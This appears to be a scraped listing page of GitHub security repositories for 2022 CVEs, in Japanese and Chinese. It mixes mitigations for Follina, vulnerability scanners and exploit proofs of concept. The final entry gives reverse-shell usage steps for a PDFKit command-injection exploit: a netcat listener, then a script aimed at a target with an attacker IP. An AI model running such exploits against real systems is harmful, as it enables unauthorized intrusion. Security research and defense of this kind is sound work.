CVE-2022-26726-POC2

このリポジトリには README がありません。...

cve-2022-1609-exploit

cve-2022-1609-exploit CVE-2022-1609 WordPress Weblizar バックドアのエクスプロイト...

msdt-disable

注意 ：此工具现已过时 ！Follina 漏洞已于2022年6月14日被修复 。 这意味着：如果你使用过此工具，现在可以重新启用 MSDT 协议...当然，前提是你还保留着备份的 .reg 文件。 MSDT 协议禁用器 是一个用于禁用 MSDT 协议（ms-msdt://）的工具。 它是一个简单的修补工具，用于修复零日漏洞 CVE-2022-30190/Follina。 一个备份的 .reg 文件将保存到你的用户文件夹，以便你以后想要重新启用该协议时使用。...

DirtyPipe-Exploit

CSE 5380：信息安全论文 CVE-2022-0847（脏管道） 作者 Karan Vasudevamurthy UTA ID: 1002164438 什么是 CVE？ 通用漏洞与暴露（CVE）是一个公开披露的信息安全漏洞和暴露的列表。MITRE 公司于 1999 年引入 CVE，用于识别和分类软件和固件中的漏洞。MITRE 是一家非营利组织，在美国运营由联邦资助的研究与开发中心。CVE 旨在促进关于已知漏洞的信息共享，以便网络安全计划能够更新以反映最新的安全问题和弱点。为此，CVE 为每个漏洞或暴露分配一个唯一标识符。这些标识符也称为 CVE 名称或 CVE...

webhook-cve-2022-0811

webhook-cve-2022-0811 これは、悪意のあるsysctl値が設定されている場合にPodの作成をブロックする非常にシンプルなwebhookです。 ビルド root@kitploit: go test CGOENABLED=0 GOOS=linux GOARCH=amd64 GO111MODULE=on go build Minikubeでイメージをビルドしてデプロイ minikubeを起動: root@kitploit: minikube start minikube addons enable registry ビルド: root@kitploit: podman...

CVE-2022-30190_Temporary_Fix_Source_Code

🩹CVE-2022-30190 临时修复🩹（源代码） 这些是两个 Python 脚本的源代码，经编译后可轻松快速地针对 CVE-2022-30190 漏洞（Follina） 应用临时保护。 两者都可以编写得更好，但这只是为了尽可能快速地实现它，而且我是在没有太多 Python 知识的情况下完成的，但重要的是…… 它能用！ 嘿嘿 这些 '.exe' 文件有什么用？: 逐步操作（ 'CVE-2022-30190temp-fix.py' CVE-2022-30190temp-fix.exe）： 1. 备份注册表键 'HKEYCLASSESROOT\ms-msdt' 。 2. 删除注册表键...

nse-exchange

nse-exchange Nmap NSEスクリプト - Exchangeの脆弱性CVE-2022-41082をチェックします。 NSEスクリプトは、インターネット上で最も一般的に公開されているサービスをチェックします。これは、仮想パッチが機能しているかどうかを確認する基本的なスクリプトです。 使用例 現在はパッチが存在しないため、回避策のみがチェックされ、ホストが脆弱かどうかが確認されます。 簡単な例: root@kitploit: nmap -sV -T4 -v --script=http-vuln-cve-2022 scanme.nmap.org 高速実行（大規模サブネットの場合）...

Follina-Remediation

Follina-Remediation 移除MSDT运行能力，以应对CVE-2022-30190 Follina 此仓库已被存档，因为微软已发布官方修复。详见https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190...

CVE-2022-31626-CVE-2024-2961-CVE-2019-6977

CVE-2022-31626, CVE-2024-2961, CVE-2019-6977 寄付 PayPalまたは下のQRコードをスキャンして、このプロジェクトのメンテナンスを支援してください。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 分離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： root@kitploit: git clone cd Project use python follow below Create a virtual environment...

bigip-scanner

BIG-IP スキャナー リモートのF5 BIG-IP管理インターフェースで実行中のソフトウェアバージョンを特定します。Bishop Fox Cosmos team によって ❤️ を込めて開発されました。 説明 CVE-2022-1388 は、F5 BIG-IP管理インターフェースにおける深刻な脆弱性であり、攻撃者が認証をバイパスして任意のシステムコマンドをリモートで実行することを可能にします。Bishop Fox は、以下を判定するために使用できる BIG-IP スキャナーを開発しました: リモートのF5 BIG-IP管理インターフェースで実行中のソフトウェアバージョン...

bhyve

bhyve CVE-2022-23087 のエクスプロイトコード...

ALLMediaServer-1.6-Buffer-Overflow

CVE-2022-28381 ALLMediaServer 1.6 リモート - バッファオーバーフロー SEH ALLMediaServer-1.6-バッファオーバーフローMetasploit 実証とエクスプロイト 参照 https://nvd.nist.gov/vuln/detail/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381 https://vulners.com/cve/CVE-2022-28381...

Sandbox-Challenge-Spring4Shell-CVE-2022-22965-

Spring4Shell 脅威サンドボックス CVE-2022-22965 概要 このウォークスルーは、CVE-2022-22965（通称 Spring4Shell）に焦点を当てたサンドボックスチャレンジの完了を記録したものです。これは、特定のバージョンのSpring Javaフレームワークに影響を与える重大な（CVSS 9.8/10）リモートコード実行脆弱性です。このチャレンジでは、脆弱性の攻撃（レッドチーム）と防御（ブルーチーム）の両方の視点を扱います。 注意:...

CS4239-Spring4Shell-POC

CS4239-Spring4Shell-POC CVE-2022-22965 Spring4Shell の概念実証 PoC で、CS4239 G410 レポート用です。この PoC を改変し、未パッチおよびパッチ適用済みの挙動を示します。 デモの実行 このリポジトリには、同一のソースコードを持つ2つのサンプルプログラム（Docker化済み）があります。一方は脆弱性のあるバージョンのSpring...

CVE-2022-22963

このリポジトリには README がありません。...

CVE-2022-1592

CVE-2022-1592 POC root@kitploit: pip install requests --break-system-packages root@kitploit: CVE-2022-1592.py https://tatget.com/...

apache__jspwiki_CVE-2022-46907_2-11-3

Apache JSPWiki 2.11 - ドキュメント root@kitploit: Licensed to the Apache Software Foundation ASF under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache...

nahsra__antisamy_CVE-2022-29577_1-6-6-1

AntiSamy 一个用于对来自不可信来源的 HTML 执行快速、可配置清洗的库。支持 Java 7 及以上版本。 换一种说法：它是一个 API，可帮助您确保客户端在其个人资料、评论等中提供的 HTML 中不包含恶意代码，这些内容会持久化存储在服务器上。在 Web 应用中，“恶意代码”通常指“JavaScript”。大多数情况下，级联样式表（CSS）只有在调用 JavaScript 时才会被视为恶意。然而，在很多情况下，“正常”的 HTML 和 CSS 也可能被以恶意方式使用。 如何使用 1. 导入依赖 首先，从 Maven 添加依赖： root@kitploit:...

ff4j__ff4j_CVE-2022-44262_1_8_13_fixed

✨✨✨ FF4J - Java 功能开关 ✨✨✨ Codacy Badge FF4j 是 Feature Toggle（功能开关）模式的一种实现。 🤘特性 功能开关： 在运行时启用和禁用功能——无需部署。在代码中，通过动态谓词（if/then/else）实现多路径保护。 基于角色的切换： 不仅通过标志值启用功能，还通过角色和组（金丝雀发布）驱动访问。支持多种框架，首先支持 Spring Security。 基于策略的切换： 实现自定义谓词（策略模式）来评估功能是否启用。内置提供了一些策略：白/黑名单、基于时间、基于表达式。可连接外部源，如 Drools 规则引擎。 AOP 驱动的切换：...

CVE-2022-25765

CVE-2022-25765 エクスプロイト CVE-2022-25765 用の小さな POC エクスプロイト、PDFkit-CMD-Injection 使用方法 1. 攻撃マシンで netcat リスナーを起動します: root@kitploit: nc -lvnp 4444 2. エクスプロイトを実行します: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT 例: root@kitploit: python cve-2022-25765.py -t...